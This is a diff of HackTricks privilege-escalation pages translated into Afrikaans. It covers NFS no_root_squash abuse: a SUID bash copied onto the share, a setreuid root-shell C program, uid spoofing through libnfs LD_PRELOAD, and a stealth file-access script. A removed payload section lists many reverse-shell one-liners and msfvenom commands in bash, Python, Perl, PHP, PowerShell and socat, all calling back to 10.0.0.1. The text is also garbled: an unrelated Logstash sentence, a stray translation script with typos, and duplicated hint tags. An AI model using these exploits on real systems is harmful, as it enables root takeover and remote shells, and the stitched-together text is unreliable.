Met **config.reload.automatic: true** in **/etc/logstash/logstash.yml**, sal Logstash outomaties nuwe of gewysigde pyplyn konfigurasies opspoor en toepas sonder om 'n herlaai te benodig. As daar geen wildcard is nie, kan wysigings steeds aan bestaande konfigurasies gemaak word, maar versigtigheid word aanbeveel om ontwrigtings te vermy.
|
||||
|
|
|
@ -1,31 +1,37 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
Lees die _ **/etc/exports** _ lêer, as jy 'n gids vind wat gekonfigureer is as **no\_root\_squash**, kan jy dit **toegang** vanaf **as 'n kliënt** en **binne skryf** daardie gids **asof** jy die plaaslike **root** van die masjien was.
|
||||
Lees die _ **/etc/exports** _ lêer, as jy 'n gids vind wat geconfigureer is as **no\_root\_squash**, dan kan jy dit **toegang** vanaf **as 'n kliënt** en **binne** daardie gids **skryf** **asof** jy die plaaslike **root** van die masjien was.
|
||||
|
||||
**no\_root\_squash**: Hierdie opsie gee basies mag aan die root-gebruiker op die kliënt om lêers op die NFS-bediener as root te benader. En dit kan ernstige veiligheidsimplikasies hê.
|
||||
**no\_root\_squash**: Hierdie opsie gee basies gesag aan die root-gebruiker op die kliënt om lêers op die NFS-bediener as root te benader. En dit kan lei tot ernstige sekuriteitsimplikasies.
|
||||
|
||||
**no\_all\_squash:** Dit is soortgelyk aan die **no\_root\_squash**-opsie, maar dit geld vir **nie-root-gebruikers**. Stel jou voor, jy het 'n skulp as 'n niemand-gebruiker; gekontroleer die /etc/exports-lêer; no\_all\_squash-opsie is teenwoordig; kyk na die /etc/passwd-lêer; boots 'n nie-root-gebruiker na; skep 'n suid-lêer as daardie gebruiker (deur te monteer met nfs). Voer die suid uit as die niemand-gebruiker en word 'n ander gebruiker.
|
||||
**no\_all\_squash:** Dit is soortgelyk aan die **no\_root\_squash** opsie, maar dit geld vir **nie-root gebruikers**. Stel jou voor, jy het 'n shell as nobody gebruiker; het die /etc/exports lêer nagegaan; no\_all\_squash opsie is teenwoordig; kyk na die /etc/passwd lêer; emuleer 'n nie-root gebruiker; skep 'n suid lêer as daardie gebruiker (deur te monteer met nfs). Voer die suid uit as nobody gebruiker en word 'n ander gebruiker.
|
||||
|
||||
# Privilege Escalation
|
||||
|
||||
## Remote Exploit
|
||||
|
||||
As jy hierdie kwesbaarheid gevind het, kan jy dit uitbuit:
|
||||
As jy hierdie kwesbaarheid gevind het, kan jy dit benut:
|
||||
|
||||
* **Monteer daardie gids** op 'n kliëntmasjien en **as root kopieer** binne die gemonteerde gids die **/bin/bash** binêre lêer en gee dit **SUID**-regte, en **voer vanaf die slagoffer**-masjien daardie bash-binêre lêer uit.
|
||||
* **Monteer daardie gids** in 'n kliëntmasjien, en **as root kopieer** binne die gemonteerde gids die **/bin/bash** binêre en gee dit **SUID** regte, en **voerde** van die slagoffer masjien daardie bash binêre uit.
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
mkdir /tmp/pe
|
||||
|
@ -38,7 +44,7 @@ chmod +s bash
|
|||
cd <SHAREDD_FOLDER>
|
||||
./bash -p #ROOT shell
|
||||
```
|
||||
* **Monteer daardie gids** op 'n kliëntmasjien en **kopieer as root** binne die gemonteerde gids ons saamgestelde payload wat die SUID-regte sal misbruik, gee dit **SUID-regte**, en **voer dit uit vanaf die slagoffer** se masjien daardie binêre lêer (jy kan hier 'n paar [C SUID payloads](payloads-to-execute.md#c) vind).
|
||||
* **Monteer daardie gids** op 'n kliëntmasjien, en **as root kopieer** binne die gemonteerde vouer ons saamgecompileerde payload wat die SUID-toestemming sal misbruik, gee vir dit **SUID** regte, en **voer vanaf die slagoffer** masjien daardie binêre uit (jy kan hier 'n paar [C SUID payloads](payloads-to-execute.md#c) vind).
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
gcc payload.c -o payload
|
||||
|
@ -52,40 +58,40 @@ chmod +s payload
|
|||
cd <SHAREDD_FOLDER>
|
||||
./payload #ROOT shell
|
||||
```
|
||||
## Plaaslike Uitbuiting
|
||||
## Plaaslike Exploit
|
||||
|
||||
{% hint style="info" %}
|
||||
Let daarop dat as jy 'n **tunnel vanaf jou masjien na die slagoffer se masjien kan skep, kan jy steeds die afstandsweergawe gebruik om hierdie voorregverhoging te misbruik deur die vereiste poorte te tunnel**.\
|
||||
Die volgende truuk is in die geval dat die lêer `/etc/exports` **'n IP aandui**. In hierdie geval sal jy in enige geval nie die **afstandsweergawe kan gebruik nie** en sal jy hierdie truuk moet **misbruik**.\
|
||||
'n Ander vereiste vir die uitbuiting om te werk, is dat **die uitvoer binne `/etc/export` die `insecure` vlag moet gebruik**.\
|
||||
\--_Ek is nie seker of hierdie truuk sal werk as `/etc/export` 'n IP-adres aandui nie_--
|
||||
Let daarop dat as jy 'n **tunnel van jou masjien na die slagoffer masjien kan skep, jy steeds die Remote weergawe kan gebruik om hierdie privaatheidsverhoging te exploiteer deur die vereiste poorte te tunnelle**.\
|
||||
Die volgende truuk is in die geval waar die lêer `/etc/exports` **'n IP aandui**. In hierdie geval **sal jy in elk geval nie die **remote exploit** kan gebruik nie en jy sal hierdie truuk moet **misbruik**.\
|
||||
Nog 'n vereiste vir die exploit om te werk is dat **die eksport binne `/etc/export`** **die `insecure` vlag moet gebruik**.\
|
||||
\--_Ek is nie seker of hierdie truuk sal werk as `/etc/export` 'n IP adres aandui nie_--
|
||||
{% endhint %}
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Die scenario behels die uitbuiting van 'n gemoniteerde NFS-deel op 'n plaaslike masjien, deur gebruik te maak van 'n fout in die NFSv3-spesifikasie wat die kliënt in staat stel om sy uid/gid te spesifiseer, wat moontlik ongemagtigde toegang moontlik maak. Die uitbuiting behels die gebruik van [libnfs](https://github.com/sahlberg/libnfs), 'n biblioteek wat die vervalsing van NFS RPC-oproepe moontlik maak.
|
||||
Die scenario behels die eksploitering van 'n gemonteerde NFS deel op 'n plaaslike masjien, wat 'n fout in die NFSv3 spesifikasie benut wat die kliënt toelaat om sy uid/gid te spesifiseer, wat moontlik ongeoorloofde toegang moontlik maak. Die eksploitering behels die gebruik van [libnfs](https://github.com/sahlberg/libnfs), 'n biblioteek wat die vervalsing van NFS RPC oproepe toelaat.
|
||||
|
||||
### Kompilering van die Biblioteek
|
||||
### Samevoeging van die Biblioteek
|
||||
|
||||
Die kompileringstappe van die biblioteek mag aanpassings vereis op grond van die kernweergawe. In hierdie spesifieke geval is die fallocate-sisteemaanroep uitgekommentaar. Die kompileringproses behels die volgende opdragte:
|
||||
Die biblioteek samevoegingsstappe mag aanpassings vereis gebaseer op die kern weergawe. In hierdie spesifieke geval was die fallocate syscalls uitgekommenteer. Die samevoegingsproses behels die volgende opdragte:
|
||||
```bash
|
||||
./bootstrap
|
||||
./configure
|
||||
make
|
||||
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
|
||||
```
|
||||
### Uitvoering van die Exploit
|
||||
### Voer die Exploit uit
|
||||
|
||||
Die exploit behels die skep van 'n eenvoudige C-program (`pwn.c`) wat voorregte na root verhoog en dan 'n skul uitvoer. Die program word gekompileer en die resulterende binêre (`a.out`) word op die deel geplaas met suid root, deur gebruik te maak van `ld_nfs.so` om die uid in die RPC-oproepe te vervals:
|
||||
Die exploit behels die skep van 'n eenvoudige C-programma (`pwn.c`) wat voorregte na root verhoog en dan 'n shell uitvoer. Die program word gecompileer, en die resulterende binêre (`a.out`) word op die deel geplaas met suid root, met behulp van `ld_nfs.so` om die uid in die RPC-oproepe te vervals:
|
||||
|
||||
1. **Kompileer die exploit-kode:**
|
||||
1. **Compileer die exploit kode:**
|
||||
```bash
|
||||
cat pwn.c
|
||||
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
|
||||
gcc pwn.c -o a.out
|
||||
```
|
||||
|
||||
2. **Plaas die exploit op die deel en wysig sy regte deur die uid te vervals:**
|
||||
2. **Plaas die exploit op die deel en verander sy toestemmings deur die uid te vervals:**
|
||||
```bash
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
|
||||
|
@ -93,14 +99,14 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs:
|
|||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
|
||||
```
|
||||
|
||||
3. **Voer die exploit uit om root-voorregte te verkry:**
|
||||
3. **Voer die exploit uit om root voorregte te verkry:**
|
||||
```bash
|
||||
/mnt/share/a.out
|
||||
#root
|
||||
```
|
||||
|
||||
## Bonus: NFShell vir Steelse Toegang tot Lêers
|
||||
Sodra root-toegang verkry is, word 'n Python-skripsie (nfsh.py) gebruik om met die NFS-deel te kommunikeer sonder om eienaarskap te verander (om spore te vermy). Hierdie skripsie pas die uid aan om ooreen te stem met die lêer wat toegang word, wat interaksie met lêers op die deel moontlik maak sonder toestemmingsprobleme:
|
||||
## Bonus: NFShell vir Stealthy Lêertoegang
|
||||
Sodra root-toegang verkry is, om met die NFS-deel te kommunikeer sonder om eienaarskap te verander (om spore te vermy), word 'n Python-skrip (nfsh.py) gebruik. Hierdie skrip pas die uid aan om ooreen te stem met dié van die lêer wat toeganklik is, wat interaksie met lêers op die deel moontlik maak sonder toestemmingprobleme:
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
# script from https://www.errno.fr/nfs_privesc.html
|
||||
|
@ -119,71 +125,32 @@ uid = get_file_uid(filepath)
|
|||
os.setreuid(uid, uid)
|
||||
os.system(' '.join(sys.argv[1:]))
|
||||
```
|
||||
```python
|
||||
import requests
|
||||
|
||||
def translate_text(text):
|
||||
url = "https://api.mymemory.translated.net/get"
|
||||
params = {
|
||||
"q": text,
|
||||
"langpair": "en|af"
|
||||
}
|
||||
response = requests.get(url, params=params)
|
||||
translation = response.json()["responseData"]["translatedText"]
|
||||
return translation
|
||||
|
||||
def translate_file(file_path):
|
||||
with open(file_path, "r") as file:
|
||||
content = file.read()
|
||||
translated_content = translate_text(content)
|
||||
with open(file_path, "w") as file:
|
||||
file.write(translated_content)
|
||||
|
||||
translate_file("/hive/hacktricks/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md")
|
||||
```
|
||||
|
||||
Afrikaans translation:
|
||||
|
||||
```python
|
||||
import requests
|
||||
|
||||
def vertaal_teks(teks):
|
||||
url = "https://api.mymemory.translated.net/get"
|
||||
params = {
|
||||
"q": teks,
|
||||
"langpair": "en|af"
|
||||
}
|
||||
response = requests.get(url, params=params)
|
||||
vertaling = response.json()["responseData"]["translatedText"]
|
||||
return vertaling
|
||||
|
||||
def vertaal_lêer(lêer_pad):
|
||||
with open(lêer_pad, "r") as lêer:
|
||||
inhoud = lêer.read()
|
||||
vertaalde_inhoud = vertaal_teks(inhoud)
|
||||
with open(lêer_pad, "w") as lêer:
|
||||
lêer.write(vervaalde_inhoud)
|
||||
|
||||
vervaal_lêer("/hive/hacktricks/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md")
|
||||
```
|
||||
Hardloop soos:
|
||||
```bash
|
||||
# ll ./mount/
|
||||
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
|
||||
```
|
||||
## Verwysings
|
||||
* [https://www.errno.fr/nfs_privesc.html](https://www.errno.fr/nfs_privesc.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,233 +1,26 @@
|
|||
# Vervullings om uit te voer
|
||||
# Payloads om uit te voer
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Bash
|
||||
```bash
|
||||
cp /bin/bash /tmp/b && chmod +s /tmp/b
|
||||
/bin/b -p #Maintains root privileges from suid, working in debian & buntu
|
||||
```
|
||||
## Uitvoeringsladinge
|
||||
|
||||
Hier is 'n lys van nuttige uitvoeringsladinge wat gebruik kan word vir voorregverhoging in Linux-stelsels:
|
||||
|
||||
### Bash
|
||||
|
||||
```bash
|
||||
bash -c 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'
|
||||
```
|
||||
|
||||
### Perl
|
||||
|
||||
```perl
|
||||
perl -e 'use Socket;$i="10.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
```
|
||||
|
||||
### Python
|
||||
|
||||
```python
|
||||
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
||||
```
|
||||
|
||||
### PHP
|
||||
|
||||
```php
|
||||
php -r '$sock=fsockopen("10.0.0.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
|
||||
```
|
||||
|
||||
### Ruby
|
||||
|
||||
```ruby
|
||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||
```
|
||||
|
||||
### Netcat
|
||||
|
||||
```bash
|
||||
nc -e /bin/sh 10.0.0.1 8080
|
||||
```
|
||||
|
||||
### Socat
|
||||
|
||||
```bash
|
||||
socat tcp-connect:10.0.0.1:8080 exec:/bin/sh,pty,stderr,setsid,sigint,sane
|
||||
```
|
||||
|
||||
### Java
|
||||
|
||||
```java
|
||||
r = Runtime.getRuntime()
|
||||
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
|
||||
p.waitFor()
|
||||
```
|
||||
|
||||
### xterm
|
||||
|
||||
```bash
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
|
||||
### PowerShell
|
||||
|
||||
```powershell
|
||||
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||
```
|
||||
|
||||
### Metasploit
|
||||
|
||||
```bash
|
||||
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=8080 -f elf > shell.elf
|
||||
```
|
||||
|
||||
### Socat (Metasploit)
|
||||
|
||||
```bash
|
||||
msfvenom -p cmd/unix/reverse_socat LHOST=10.0.0.1 LPORT=8080 -f elf > shell.elf
|
||||
```
|
||||
|
||||
### Python (Metasploit)
|
||||
|
||||
```bash
|
||||
msfvenom -p cmd/unix/reverse_python LHOST=10.0.0.1 LPORT=8080 -f raw > shell.py
|
||||
```
|
||||
|
||||
### PHP (Metasploit)
|
||||
|
||||
```bash
|
||||
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.0.0.1 LPORT=8080 -f raw > shell.php
|
||||
```
|
||||
|
||||
### Ruby (Metasploit)
|
||||
|
||||
```bash
|
||||
msfvenom -p cmd/unix/reverse_ruby LHOST=10.0.0.1 LPORT=8080 -f raw > shell.rb
|
||||
```
|
||||
|
||||
### Netcat (Metasploit)
|
||||
|
||||
```bash
|
||||
msfvenom -p cmd/unix/reverse_netcat LHOST=10.0.0.1 LPORT=8080 -f raw > shell.sh
|
||||
```
|
||||
|
||||
### Java (Metasploit)
|
||||
|
||||
```bash
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=8080 -f raw > shell.jsp
|
||||
```
|
||||
|
||||
### War (Metasploit)
|
||||
|
||||
```bash
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=8080 -f war > shell.war
|
||||
```
|
||||
|
||||
### Python (PentestMonkey)
|
||||
|
||||
```python
|
||||
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
||||
```
|
||||
|
||||
### PHP (PentestMonkey)
|
||||
|
||||
```php
|
||||
php -r '$sock=fsockopen("10.0.0.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
|
||||
```
|
||||
|
||||
### Ruby (PentestMonkey)
|
||||
|
||||
```ruby
|
||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||
```
|
||||
|
||||
### Netcat (PentestMonkey)
|
||||
|
||||
```bash
|
||||
nc -e /bin/sh 10.0.0.1 8080
|
||||
```
|
||||
|
||||
### Socat (PentestMonkey)
|
||||
|
||||
```bash
|
||||
socat tcp-connect:10.0.0.1:8080 exec:/bin/sh,pty,stderr,setsid,sigint,sane
|
||||
```
|
||||
|
||||
### Java (PentestMonkey)
|
||||
|
||||
```java
|
||||
r = Runtime.getRuntime()
|
||||
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
|
||||
p.waitFor()
|
||||
```
|
||||
|
||||
### xterm (PentestMonkey)
|
||||
|
||||
```bash
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
|
||||
### PowerShell (PentestMonkey)
|
||||
|
||||
```powershell
|
||||
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||
```
|
||||
|
||||
### Metasploit (PentestMonkey)
|
||||
|
||||
```bash
|
||||
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=8080 -f elf > shell.elf
|
||||
```
|
||||
|
||||
### Socat (Metasploit) (PentestMonkey)
|
||||
|
||||
```bash
|
||||
msfvenom -p cmd/unix/reverse_socat LHOST=10.0.0.1 LPORT=8080 -f elf > shell.elf
|
||||
```
|
||||
|
||||
### Python (Metasploit) (PentestMonkey)
|
||||
|
||||
```bash
|
||||
msfvenom -p cmd/unix/reverse_python LHOST=10.0.0.1 LPORT=8080 -f raw > shell.py
|
||||
```
|
||||
|
||||
### PHP (Metasploit) (PentestMonkey)
|
||||
|
||||
```bash
|
||||
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.0.0.1 LPORT=8080 -f raw > shell.php
|
||||
```
|
||||
|
||||
### Ruby (Metasploit) (PentestMonkey)
|
||||
|
||||
```bash
|
||||
msfvenom -p cmd/unix/reverse_ruby LHOST=10.0.0.1 LPORT=8080 -f raw > shell.rb
|
||||
```
|
||||
|
||||
### Netcat (Metasploit) (PentestMonkey)
|
||||
|
||||
```bash
|
||||
msfvenom -p cmd/unix/reverse_netcat LHOST=10.0.0.1 LPORT=8080 -f raw > shell.sh
|
||||
```
|
||||
|
||||
### Java (Metasploit) (PentestMonkey)
|
||||
|
||||
```bash
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=8080 -f raw > shell.jsp
|
||||
```
|
||||
|
||||
### War (Metasploit) (PentestMonkey)
|
||||
|
||||
```bash
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=8080 -f war > shell.war
|
||||
```
|
||||
## C
|
||||
```c
|
||||
//gcc payload.c -o payload
|
||||
int main(void){
|
||||
|
@ -264,18 +57,18 @@ execve(paramList[0], paramList, NULL);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
## Oorskryf 'n lêer om voorregte te verhoog
|
||||
## Oorskrywing van 'n lêer om voorregte te verhoog
|
||||
|
||||
### Gewone lêers
|
||||
### Algemene lêers
|
||||
|
||||
* Voeg 'n gebruiker met 'n wagwoord by in _/etc/passwd_
|
||||
* Verander die wagwoord binne _/etc/shadow_
|
||||
* Voeg 'n gebruiker by in sudoers in _/etc/sudoers_
|
||||
* Misbruik docker deur die docker-socket, gewoonlik in _/run/docker.sock_ of _/var/run/docker.sock_
|
||||
* Voeg gebruiker met wagwoord by _/etc/passwd_
|
||||
* Verander wagwoord binne _/etc/shadow_
|
||||
* Voeg gebruiker by sudoers in _/etc/sudoers_
|
||||
* Misbruik docker deur die docker socket, gewoonlik in _/run/docker.sock_ of _/var/run/docker.sock_
|
||||
|
||||
### Oorskryf 'n biblioteek
|
||||
### Oorskrywing van 'n biblioteek
|
||||
|
||||
Kyk na 'n biblioteek wat deur 'n sekere binêre lêer gebruik word, in hierdie geval `/bin/su`:
|
||||
Kontroleer 'n biblioteek wat deur 'n sekere binêre gebruik word, in hierdie geval `/bin/su`:
|
||||
```bash
|
||||
ldd /bin/su
|
||||
linux-vdso.so.1 (0x00007ffef06e9000)
|
||||
|
@ -287,8 +80,8 @@ libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
|
|||
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
|
||||
```
|
||||
In hierdie geval gaan ons probeer om `/lib/x86_64-linux-gnu/libaudit.so.1` na te boots.\
|
||||
Dus, kyk vir funksies van hierdie biblioteek wat deur die **`su`** binêre lêer gebruik word:
|
||||
